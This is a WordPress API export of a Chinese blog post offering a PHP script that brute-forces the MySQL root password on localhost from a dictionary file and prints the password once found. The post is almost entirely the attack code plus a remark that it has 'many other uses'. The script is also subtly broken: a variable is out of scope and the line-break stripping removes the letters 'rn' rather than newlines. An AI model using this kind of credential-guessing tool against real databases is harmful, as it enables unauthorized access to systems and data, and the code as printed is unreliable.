{"id":282,"date":"2014-06-30T13:40:58","date_gmt":"2014-06-30T13:40:58","guid":{"rendered":"http:\/\/ixyzero.com\/blog\/?p=282"},"modified":"2014-06-30T13:40:58","modified_gmt":"2014-06-30T13:40:58","slug":"%e6%9c%ac%e5%9c%b0mysql%e5%af%86%e7%a0%81%e7%a0%b4%e8%a7%a3%e7%9a%84php%e8%84%9a%e6%9c%ac","status":"publish","type":"post","link":"https:\/\/ixyzero.com\/blog\/archives\/282.html","title":{"rendered":"\u672c\u5730MySQL\u5bc6\u7801\u7834\u89e3\u7684PHP\u811a\u672c"},"content":{"rendered":"<pre class=\"lang:php decode:true \">&lt;?php\nset_time_limit(0);\t\/\/\u8bbe\u7f6e\u811a\u672c\u4e0d\u8d85\u65f6\n$ip = \"localhost\";\t\/\/\u6307\u5b9aIP\u5730\u5740\n$user = \"root\";\t\t\/\/\u7528\u6237\u540d\n$passwd = file(\"password.txt\");\t\/\/\u5bc6\u7801\u5b57\u5178\nfor($i=0; $i&lt;count($passwd); $i++){\n\t$pass = str_Replace(\"rn\", \"\", $passwd[$i]);\t\/\/\u5254\u9664\u591a\u4f59\u7684\u56de\u8f66+\u6362\u884c\n\tconnect($user, $pass);\n\tflush();\n}\necho \"\u626b\u63cf\u7ed3\u675f\uff01\";\nfunction connect($user, $pass) {\n\tif(@mysql_connect($ip, $user, $pass)){\n\t\techo \"&lt;font color='#0000FF'&gt;&lt;b&gt;\u5f97\u5230\u5bc6\u7801\uff1a&lt;font color='#FF0000'&gt;\".$pass.\"&lt;\/font&gt;\uff01\uff01\uff01&lt;\/b&gt;&lt;\/font&gt;\";\n\t\texit();\n\t}\n\telse {\n\t\techo $pass.'&lt;br&gt;';\n\t}\n}\n?&gt;<\/pre>\n<p>\u672c\u5730\u6d4b\u8bd5\u7528\uff0c\u901f\u5ea6\u5feb\uff0c\u4ee3\u7801\u7b80\u5355\uff0c\u4fee\u6539\u65b9\u4fbf\uff0c\u7136\u540e\u8fd8\u6709\u5f88\u591a\u522b\u7684\u7528\u6cd5\uff0c\u81ea\u5df1\u7422\u78e8`(*\u2229_\u2229*)\u2032<\/p>\n","protected":false},"excerpt":{"rendered":"<p>&lt;?php set_time_limit(0); \/\/\u8bbe\u7f6e\u811a\u672c\u4e0d\u8d85\u65f6 $ip = &#8220;localhost&#8221; [&hellip;]<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[14,7,25],"tags":[16,48],"class_list":["post-282","post","type-post","status-publish","format-standard","hentry","category-database","category-programing","category-security","tag-mysql","tag-php"],"views":3756,"_links":{"self":[{"href":"https:\/\/ixyzero.com\/blog\/wp-json\/wp\/v2\/posts\/282","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/ixyzero.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/ixyzero.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/ixyzero.com\/blog\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/ixyzero.com\/blog\/wp-json\/wp\/v2\/comments?post=282"}],"version-history":[{"count":0,"href":"https:\/\/ixyzero.com\/blog\/wp-json\/wp\/v2\/posts\/282\/revisions"}],"wp:attachment":[{"href":"https:\/\/ixyzero.com\/blog\/wp-json\/wp\/v2\/media?parent=282"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/ixyzero.com\/blog\/wp-json\/wp\/v2\/categories?post=282"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/ixyzero.com\/blog\/wp-json\/wp\/v2\/tags?post=282"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}